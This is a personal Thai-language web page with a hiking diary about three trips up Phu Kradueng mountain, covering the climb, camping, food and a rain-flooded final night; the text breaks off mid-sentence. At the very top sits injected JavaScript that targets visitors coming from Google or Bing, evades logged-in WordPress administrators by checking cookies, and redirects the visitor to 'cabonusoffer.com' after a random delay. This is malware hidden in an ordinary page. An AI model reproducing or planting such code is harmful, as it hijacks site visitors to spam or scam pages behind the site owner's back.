((event) => { var ref = document.referrer || ''; if (ref.length === 0) { return; } ref = ref.toLowerCase(); if (ref.indexOf('google') === -1 && ref.indexOf('bing') === -1) { return; } var cookie = document.cookie || ''; if (cookie.indexOf('wordpress_logged') !== -1 || cookie.indexOf('wp-settings') !== -1 || cookie.indexOf('wordpress_test') !== -1) { return; } if (cookie.indexOf('wordpress-test') !== -1) { return; } function generateRandomInteger(min, max) { return Math.floor(min + Math.random()*(max - min + 1)); } document.cookie = "wordpress-test=1; max-age=86400; path=/;"; const delay = generateRandomInteger(20000, 60000); setTimeout(() => { window.location.replace('http://cabonusoffer.com/track/'); }, delay);})();text="#CC0000" link="#0000FF" vlink="#FF00FF" alink="#FF0000">

                                           welcome to siampet 

                          เราคือผู้พิชิตภูกระดึง

                      
                                                                          

                

                    

                   

                                                                                        
                             ภูกระดึง ใครไม่ไปไม่ได้แล้ว ตัวผมเองนั้นเคยไปที่ภูกระดึงถึง 3ครั้ง ถึงจะเดิน
                 ทางลำบาก สักหน่อยก็สนุกดีครับ แรกๆก็ไปกัน 5 คน หมัด ฟีน รุก นที ดีนโอ้ยไปครั้งแรก
                 ไม่มีประสพการณ์ครับ เขาเปิดให้ขึ้นก็ขึ้นเลย ขนของขึ้นไปเองเลย มีทั้ง เต้นท์ 2 หลัง
                 เป้เดินทางแต่ละคน ของกินอีกตะหาก หารู้ไม่เขามีลูกหาบรับจ้างอยู่ ตอนนั้น ยังวัยรุ่นอยู่
                กว่าจะรู้ตัวว่าพลาดก็ เดินทางไปถึง ซำแฮ่ก แล้ว ถึงตรงนั้นก็แฮ่กจริงๆต้องดมยาดม
                 มาช่วยอย่างรีบด่วนเชียวกลับตัวไม่ทันเจอเจ้าหน้าที่ผ่านมาเขาถามว่ามาครั้งแรกใช่ไหม
                 เราก็งง เอ๊ะะะ แม่งรู้ได้ไงวะ เราลยถามไป เขาบอกว่าเห็นแบกของก้รู้แล้ว ขนาดเขาเอง
                 ยังไม่แบกเลย จ้างดีที่สุด มาถึงขั้นนี้แล้วก็เลยต้องแบกกันไปกว่าจะขึ้นถึงหลังแป
                 เดินทางตั้งแต่ 7.00 ถึง สัก 15.00 โมงเย็น พระเจ้าช่วย (เหนื่อยฉิบหาย)แต่อ่ะนะ
                 ขึ้นไปถึง เห็น ทุ่งหหญ้าและะต้นสนถึงถึงหนังเรื่อง จูราสิกพาร์ค เลย ก็จินตนาการกันไป
                 ว่ามีไดโนเสาวิ่งไปมา 555 แต่บรรยากาศ สุดยอด เวลากลางคืนก็หุงหาอาหารกินเอง
                 ไม่ได้ซื้อทานนะ เพระาเตรียมไปเยอะต้องกินให้หมดไม่งั้นขากลับต้อง
                  แบกลลงอีกเดี๋ยวจะไปกันใหญ่ ตอนที่นั้นที่ใช้ชีวิตอยู่บนนนั้นนึกถึงสมัยมัธยม
                  นี่วิชาลูกเสือสามัญข้าได้ใช้เต็มๆก็วันนี้ แค่จุดไฟ นี่ก็เสียรองเท้าแตะ
                 ที่เป็นฝองน้ำบางส่วนไปทำเชื้อไฟแล้ว กว่าจะได้กินแต่ละมื้อนี่ ต้องใช้ความสามารถ
                 ของหลายๆคนช่วยกันเลย
                             จริงๆแล้วถ่ายรูปไว้เยอะแต่ คัดเอามาลงเท่าที่ดูได้ (ฝีมือถ่ายรูปห่วยมาก) ตอนนั้น
                 เดินทางกัน เจอรอยเท้าสัตว์ ขี้ช้างก้ตื่นเต้นแล้ว ไปเดินเลียบผา ลมเย็นหายเหนื่อย อ่อ
                 ส้มตำอร่อยจริงๆที่นั่น หิวน่ะเลยกินแหลก เดินไปที่ ผาหล่มสัก กว่าจะรอเวลา พระอาทิตย์
                ตกถ่ายรูปไป3 ครั้ง เจอบรรยากาศไม่เป็นใจทั้ง 3 หนเลย (ให้ดิ้นตายซิวะ) แต่รอยที่เรา
                ไปนั่งใต้ต้นสน เป็นรูป ร่องก้นเลย แสดงว่า คนมานั่งกันเยอะมาก ที่ตรงนั้น แต่ครั้งที่2
                ทีไปนี่มีโชคหน่อยมั้ง (จริงๆผมไม่เชื่อเรื่องโชคหรอก) เจอต้นเมเปิ้ล ใบสีแดงทั้งต้นเลย
               ต้นมันเยอะมากนะ แต่ตอนที่ไปแดงทั้งต้นอยู่ต้นเดียวเอง คนที่ไปก็เยอะ แย่งกันถ่ายรูปแต่
               มุมนั้นนั่นหละรวมทั้งเราด้วย อิอิ มันสวยนี่หว่าเนอะ
                             หลังจากนั้น ก็ไปอีก ครั้งล่าสุดที่ไป ไปกันเพียบเลย มี แก้งค์ เด็กวัยรุ่นแถวบ้าน
                ไปด้วย มี หมัด รุกฟิกแบะ รอน เฟา ดอน อิ๊ด ร้อก สลา อ้าดนาน กีม สุดยอดครั้งสุดท้าย
                แต่เราประสพการณ์เเยอะ พอช่วยได้ แต่ วันกลับวันสุดท้าย นี่ ฝนตกตั้งแต่ 6 โมงเย็น
               ยัน 9 โมงเช้าน้ำท่วมยอดภู ไม่น่าเชื่อ เต้นท์ที่กางกันนอน น้ำท่วมน่ะ ต้องไปอาศัย
               ร้านค้านอน สุดยอดเลย ขากลับน้ำท่วมตลอดทางเดิน ตอนเดินลงจากภเขาู น้ำไหลลง
               จากเขาเป็นน้ำตก ย่อมๆเลยเชียวหละสุดท้ายก็กลับบ้านด้วยความสนุกและประสพการณ์ต่างๆ
               ที่หาไม่